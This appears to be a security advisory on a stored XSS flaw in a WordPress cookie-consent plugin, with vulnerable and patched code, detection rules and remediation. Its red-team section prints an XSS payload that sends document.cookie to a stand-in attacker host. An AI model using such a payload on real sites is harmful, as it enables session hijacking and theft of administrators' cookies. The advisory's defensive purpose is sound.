CVE-2025-1621

Executive Summary

CVE-2025-1621 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the GDPR Cookie Compliance WordPress plugin, affecting versions prior to 4.15.7. This flaw allows high-privilege users, such as administrators, to inject malicious scripts into plugin settings. Even in multisite configurations where the unfiltered_html capability is disallowed, an attacker can store arbitrary JavaScript that executes when other administrators view the affected settings page. The vulnerability arises from insufficient sanitization and escaping of user-supplied input in plugin settings. Successful exploitation could lead to session hijacking, defacement, or further compromise of the WordPress instance.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The GDPR Cookie Compliance plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from the official repository. No known supply chain compromise has been reported for this plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin-level access
• User Interaction: Required (UI:R) – victim must visit the settings page
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the impact is amplified in multisite environments where admin accounts may be shared or less trusted. The stored nature of the XSS increases persistence and potential for lateral movement.

Deep Dive & Mechanics

The vulnerability exists in the plugin's settings page, where administrators can configure various options. The plugin fails to properly sanitize and escape output for certain settings fields before rendering them in the admin dashboard. An attacker with admin privileges can inject malicious JavaScript into these fields. When another admin (or the same admin) views the settings page, the injected script executes in the context of the victim's browser.

Root Cause: The plugin uses echo or similar output functions without applying WordPress's built-in escaping functions like esc_html() or esc_attr(). This allows raw HTML/JavaScript to be stored and later rendered.

Attack Flow:

1. Attacker gains admin access (e.g., via compromised credentials or social engineering).
2. Attacker navigates to the GDPR Cookie Compliance settings page.
3. Attacker injects a payload like <script>alert('XSS')</script> into a vulnerable setting field.
4. The payload is stored in the WordPress database.
5. When another admin visits the same settings page, the payload executes.

Multisite Impact: In WordPress multisite, super admins can manage network-wide settings. A compromised site admin could inject XSS that targets super admins, potentially leading to full network compromise.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-4.15.7):

// In settings output
echo '<input type="text" name="gdpr_option" value="' . $option_value . '" />';

Here, $option_value is not escaped, allowing injection of "> <script>alert(1)</script>.

Patched Code (4.15.7+):

// Properly escaped output
echo '<input type="text" name="gdpr_option" value="' . esc_attr( $option_value ) . '" />';

The esc_attr() function encodes special characters, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin-level credentials to the WordPress site.
• The GDPR Cookie Compliance plugin version < 4.15.7.

Steps:

1. Log in as an admin.
2. Navigate to Settings > GDPR Cookie Compliance.
3. Locate a vulnerable input field (e.g., "Cookie Name" or "Button Text").
4. Inject the following payload:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the settings.
6. Wait for another admin to visit the page, or trigger the XSS yourself to test.

Expected Outcome: The victim's browser sends their cookies to the attacker's server.

Blue Team (Detection & Hardening)

Detection:

• Monitor admin activity logs for unusual changes to GDPR Cookie Compliance settings.
• Look for suspicious strings in the wp_options table, specifically in options prefixed with gdpr_.

Hardening:

• Immediately update the plugin to version 4.15.7 or later.
• Restrict admin access to only trusted users.
• Implement Web Application Firewall (WAF) rules to block common XSS payloads in admin panels.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None provided; verify plugin files against official repository)
• Network Indicators:
  • Outbound connections to unknown domains from the WordPress admin panel.
  • HTTP requests containing gdpr_cookie_compliance in the referrer header with suspicious query parameters.
• Log Entries:
  • WordPress admin logs showing changes to gdpr_* options.
  • PHP error logs with unexpected characters in option values.
• Database Indicators:
  • Rows in wp_options with option_name like gdpr_% containing <script> tags or base64-encoded JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_1621_GDPR_XSS {
    meta:
        description = "Detects stored XSS payloads in GDPR Cookie Compliance plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1621"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $gdpr_option = /gdpr_[a-z_]+/
    condition:
        $gdpr_option and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in GDPR Cookie Compliance Plugin Settings
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to store XSS payloads in GDPR Cookie Compliance plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # Custom event for option update
        OptionName|startswith: 'gdpr_'
        OptionValue|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-1621 - Stored XSS in GDPR Cookie Compliance"; flow:to_server,established; content:"gdpr_"; http_uri; nocase; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to version 4.15.7 or later from the WordPress plugin repository.
2. Audit admin accounts and remove any unnecessary high-privilege users.
3. Review recent changes to GDPR Cookie Compliance settings for signs of compromise.

Long-Term Mitigations:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use a WordPress security plugin that monitors file integrity and admin activity.
• Enforce strong password policies and multi-factor authentication (MFA) for admin accounts.
• Regularly audit plugin code for similar vulnerabilities.

Workaround (if patching is delayed):

• Disable the GDPR Cookie Compliance plugin temporarily.
• Restrict access to the settings page via .htaccess or IP whitelisting.

Valters IT